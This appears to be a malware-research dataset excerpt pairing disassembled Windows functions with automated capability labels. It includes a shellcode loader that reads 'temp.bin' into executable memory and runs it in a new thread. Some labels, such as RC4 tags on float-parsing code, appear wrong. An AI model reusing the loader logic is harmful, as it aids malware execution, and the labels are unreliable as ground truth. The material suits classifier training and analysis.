joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400481a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140098040]
xor rax, rsp
mov qword [rsp + 0x70], rax
movzx eax, byte [rcx]
mov ebx, edx
test al, al
je 0x1400481d8
cmp al, 0x25
jne 0x1400481cd
cmp byte [rcx + 1], al
jne 0x1400481d8
inc rcx
movzx eax, byte [rcx + 1]
inc rcx
test al, al
jne 0x1400481c1
cmp byte [rcx], 0x25
jne 0x1400482a9
cmp byte [rcx + 1], 0x25
je 0x1400482a9
xorps xmm3, xmm3
mov r8, rcx
cvtss2sd xmm3, xmm2
mov edx, 0x40
lea rcx, [rsp + 0x30]
movq r9, xmm3
call fcn.14001b4d0
cmp byte [rsp + 0x30], 0x20
lea rcx, [rsp + 0x30]
jne 0x14004821d
inc rcx
cmp byte [rcx], 0x20
je 0x140048215
lea eax, [rbx - 4]
cmp eax, 1
jbe 0x140048297
movzx edx, byte [rcx]
movzx r8d, dl
cmp dl, 0x2d
jne 0x140048236
movzx r8d, byte [rcx + 1]
lea rax, [rcx + 1]
xorps xmm1, xmm1
cmovne rax, rcx
cmp r8b, 0x2b
lea rcx, [rax + 1]
cmovne rcx, rax
movzx eax, byte [rcx]
cmp al, 0x30
jl 0x140048286
movss xmm2, dword [0x14008dae0]
nop dword [rax]
cmp al, 0x39
ja 0x140048286
movsx eax, byte [rcx]
inc rcx
sub eax, 0x30
mulss xmm1, xmm2
movd xmm0, eax
movzx eax, byte [rcx]
cvtdq2ps xmm0, xmm0
addss xmm0, xmm1
movaps xmm1, xmm0
cmp al, 0x30
jge 0x140048260
cmp dl, 0x2d
jne 0x1400482a4
xorps xmm1, xmmword [0x14008e480]
movaps xmm0, xmm1
jmp 0x1400482ac
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atof]
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm0
movaps xmm0, xmm1
jmp 0x1400482ac
movaps xmm0, xmm2
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140049a80
add rsp, 0x80
pop rbx
ret

Function at 0x1400482d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140098040]
xor rax, rsp
mov qword [rsp + 0x70], rax
movzx eax, byte [rcx]
mov ebx, edx
test al, al
je 0x140048308
cmp al, 0x25
jne 0x1400482fd
cmp byte [rcx + 1], al
jne 0x140048308
inc rcx
movzx eax, byte [rcx + 1]
inc rcx
test al, al
jne 0x1400482f1
cmp byte [rcx], 0x25
jne 0x1400483cb
cmp byte [rcx + 1], 0x25
je 0x1400483cb
mov r8, rcx
movaps xmm3, xmm2
lea rcx, [rsp + 0x30]
movq r9, xmm2
mov edx, 0x40
call fcn.14001b4d0
cmp byte [rsp + 0x30], 0x20
lea rcx, [rsp + 0x30]
jne 0x140048349
inc rcx
cmp byte [rcx], 0x20
je 0x140048341
lea eax, [rbx - 4]
cmp eax, 1
jbe 0x1400483bd
movzx edx, byte [rcx]
movzx r8d, dl
cmp dl, 0x2d
jne 0x140048362
movzx r8d, byte [rcx + 1]
lea rax, [rcx + 1]
xorps xmm1, xmm1
cmovne rax, rcx
cmp r8b, 0x2b
lea rcx, [rax + 1]
cmovne rcx, rax
movzx eax, byte [rcx]
cmp al, 0x30
jl 0x1400483ac
movsd xmm2, qword [0x14008da98]
cmp al, 0x39
ja 0x1400483ac
movsx eax, byte [rcx]
inc rcx
sub eax, 0x30
mulsd xmm1, xmm2
movd xmm0, eax
movzx eax, byte [rcx]
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm0
cmp al, 0x30
jge 0x140048388
cmp dl, 0x2d
jne 0x1400483c6
xorps xmm1, xmmword [0x14008e470]
movaps xmm0, xmm1
jmp 0x1400483ce
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atof]
movaps xmm1, xmm0
movaps xmm0, xmm1
jmp 0x1400483ce
movaps xmm0, xmm2
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140049a80
add rsp, 0x80
pop rbx
ret
Function at 0x14004a914
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004a95e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004a95e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004a95e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004a95e
cmp dword [rcx + 0x84], 0xe
jbe 0x14004a95e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004a960
xor al, al
add rsp, 0x28
ret
Function at 0x140002670
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400026ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400026ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400026ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400026ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400026ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400026bc
xor al, al
add rsp, 0x28
ret

Function at 0x140005308
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140005377
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005377
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005377
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005377
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005377
cmp dword [rcx + 0x84], 0xe
jbe 0x140005377
cmp dword [rcx + 0xf8], 0
je 0x140005377
mov ecx, ebx
call fcn.14000541c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005210
nop
cmp dword [rbp + 0x20], 0
jne 0x1400053d8
call fcn.14000c158
cmp eax, 1
jne 0x1400053c8
xor dl, dl
jmp 0x1400053d2
call fcn.14000c124
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x1400053e3
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400053ec
int3
xor r8d, r8d
xor edx, edx
jmp 0x140005308

Function at 0x1400054f0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140005377
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005377
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005377
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005377
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005377
cmp dword [rcx + 0x84], 0xe
jbe 0x140005377
cmp dword [rcx + 0xf8], 0
je 0x140005377
mov ecx, ebx
call fcn.14000541c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005210
nop
cmp dword [rbp + 0x20], 0
jne 0x1400053d8
call fcn.14000c158
cmp eax, 1
jne 0x1400053c8
xor dl, dl
jmp 0x1400053d2
call fcn.14000c124
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x1400053e3
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400053ec
int3
xor r8d, r8d
xor edx, edx
jmp 0x140005308
Function at 0x140010bdc
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140010c63
mov rsi, rbx
cmp word [rax], bp
je 0x140010c22
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140010c0c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140010c08
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000c790
mov rdi, rax
test rax, rax
je 0x140010c50
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140018200
mov rbp, rdi
xor ecx, ecx
call fcn.14000c730
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140013ec8
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140013ede
mov al, 1
jmp 0x140013f4a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140013eef
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140013f48
mov ecx, dword [rcx + 0x18]
nop
call fcn.140011380
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140013f48
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140013f48
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140013f48
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140013f4a
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400179e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140017a08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140017a08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001090
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Read file on windows
Spawn thread to rwx shellcode
Terminate process

Disassembly:
sub rsp, 0x78
mov dword [rsp + 0x74], 0
mov dword [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
call fcn.140001210
lea rcx, str.temp.bin
mov edx, 0x80000000
xor r8d, r8d
xor eax, eax
mov r9d, eax
mov dword [rsp + 0x20], 4
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x68], rax
mov rax, 0xffffffffffffffff
cmp qword [rsp + 0x68], rax
jne 0x140001108
mov dword [rsp + 0x74], 0
jmp 0x140001200
mov rcx, qword [rsp + 0x68]
xor eax, eax
mov edx, eax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
mov edx, eax
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140001160
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x74], 0
jmp 0x140001200
mov r8d, dword [rsp + 0x5c]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
lea r9, [rsp + 0x58]
xor eax, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x5c]
mov edx, eax
mov rcx, qword [rsp + 0x60]
mov r8d, 0x40
lea r9, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rsp + 0x60]
xor eax, eax
mov r9d, eax
xor eax, eax
mov rcx, r9
mov rdx, r9
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400011e8
mov dword [rsp + 0x74], 0
jmp 0x140001200
mov rcx, qword [rsp + 0x40]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [rsp + 0x74]
add rsp, 0x78
ret

Function at 0x140001210
Capabilities:
Set current directory

Disassembly:
sub rsp, 0x138
xor eax, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140001242
mov dword [rsp + 0x134], 0
jmp 0x1400012bb
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp eax, 0
jne 0x140001271
mov dword [rsp + 0x134], 0
jmp 0x1400012bb
lea rcx, [rsp + 0x30]
mov edx, 0x5c
call section..text
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400012a1
mov dword [rsp + 0x134], 0
jmp 0x1400012bb
mov rax, qword [rsp + 0x28]
mov byte [rax], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov dword [rsp + 0x134], eax
mov eax, dword [rsp + 0x134]
add rsp, 0x138
ret
Function at 0x140002410
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140002471
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140002430
mov ecx, dword [r9]
jmp 0x14000255b
cmp ecx, 0x4e0
jb 0x14000255b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140002490
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x1400024e0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x140002f30
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002f7a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002f7a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002f7a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002f7a
cmp dword [rcx + 0x84], 0xe
jbe 0x140002f7a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002f7c
xor al, al
add rsp, 0x28
ret
Function at 0x180003500
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
xor eax, eax
movq xmm2, r8
punpcklqdq xmm2, xmm2
mov r9, rdx
mov r10, rcx
test rdx, rdx
je 0x18000368b
cmp rdx, 8
jb 0x180003670
cmp dword [0x180056090], 5
jl 0x180003670
movdqa xmm3, xmmword [0x18004e2f0]
mov r11, rdx
movdqa xmm4, xmmword [0x18004e310]
lea rdx, [rcx + 4]
movdqa xmm5, xmmword [0x18004e330]
and r11, 0xfffffffffffffff8
mov qword [rsp + 0x10], rbx
mov rbx, 0xfffffffffffffffe
mov qword [rsp], rdi
sub rbx, rcx
mov edi, 2
sub rdi, rcx
movzx ecx, word [rdx - 4]
movq xmm0, rax
punpcklqdq xmm0, xmm0
add rax, 8
paddq xmm0, xmm3
andps xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 4], cx
lea rcx, [rbx + rdx]
movq xmm0, rcx
movzx ecx, word [rdx - 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm3
andps xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 2], cx
mov rcx, rdx
sub rcx, r10
movq xmm0, rcx
movzx ecx, word [rdx]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm3
andps xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx], cx
lea rcx, [rdi + rdx]
movq xmm0, rcx
movzx ecx, word [rdx + 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm3
andps xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx + 2], cx
add rdx, 8
cmp rax, r11
jb 0x180003573
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
cmp rax, r9
jae 0x18000368b
nop word [rax + rax]
movzx ecx, al
mov rdx, r8
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r10 + rax], dl
inc rax
cmp rax, r9
jb 0x180003670
add rsp, 8
ret
Function at 0x1800046b0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1800046d8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1800046fe
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x180004700
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x180004759
test ecx, ecx
jle 0x180004739
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x180004759
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x180004759
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x180004780
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1800047a2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x1800047b8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1800047d4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1800047d6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180004812
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1800048ae
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x18000484d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x18000488e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1800048ae
cmp rbx, rax
ja 0x180004860
test rbx, rbx
je 0x1800048ae
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x180004d10
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x180056040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x180004d3d
xor eax, eax
jmp 0x180004ea9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x180004d77
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x180004d77
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x180004ea9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x180004e9c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180004dba
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180004de5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x180004ea1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180004e54
sub eax, 1
je 0x180004e54
cmp eax, 2
jne 0x180004e9c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x180004ea1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x180004e82
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x180004e9c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x180004ea1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180027920
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x180004f80
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 6], 0
mov r8, rcx
je 0x180005032
xor eax, eax
cmp dword [0x180056090], 5
jl 0x180005007
movdqa xmm2, xmmword [0x18004e2f0]
movdqa xmm3, xmmword [0x18004e310]
movdqa xmm4, xmmword [0x18004e390]
movdqa xmm5, xmmword [0x18004e330]
nop dword [rax + rax]
movzx ecx, word [r8 + rax]
movq xmm0, rax
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [r8 + rax], cx
add rax, 2
cmp rax, 6
jb 0x180004fc0
mov byte [r8 + 6], 0
mov rax, r8
ret
movabs r9, 0x656173452549d30d
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 6
jb 0x180005011
mov byte [r8 + 6], 0
mov rax, r8
ret

Function at 0x1800054b0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x180056040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x180005583
cmp byte [rcx + 0x71], 0
je 0x180005583
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x18000557f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
